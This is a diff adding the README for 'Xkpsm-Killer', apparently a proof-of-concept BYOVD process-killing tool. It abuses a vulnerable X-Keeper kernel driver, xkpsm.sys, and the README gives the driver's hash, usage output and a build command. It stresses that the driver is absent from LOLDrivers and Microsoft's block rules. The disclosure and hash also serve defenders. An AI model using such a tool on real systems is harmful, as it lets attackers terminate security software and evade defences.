+# Xkpsm-Killer
+- PoC for vulnerability in xkpsm Driver from JiranJikyosoft X-Keeper
+
+- As of 2026-05-08, the driver is **not** listed on [LOLDDrivers](https://www.loldrivers.io/) or in [Microsoft's recommended driver block rules](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules)
+
+Built on [`byovd-lib`](../byovd-lib/) -- implements the `DriverConfig` trait and delegates the full BYOVD flow to the shared library.
+
+**Driver hashes:**
+- `xkpsm.sys` SHA256: `28c5bb735f9fc38e0ebd366978898f0cfcd455e4ff8bf1a321768b09e01ee84d`
+
+## Usage
+
+Place `xkpsm.sys` in the same directory as the executable.
+
+```text
+PS C:\Users\User\Desktop> .\Xkpsm-Killer.exe -h
+BYOVD process killer using Xkpsm driver
+
+Usage: Xkpsm-Killer.exe --name <PROCESS_NAME>
+
+Options:
+  -n, --name <PROCESS_NAME>  Target process name (e.g., notepad.exe)
+  -h, --help                 Print help
+  -V, --version              Print version
+```
+
+```bash
+# Build
+cargo build --release -p Xkpsm-Killer
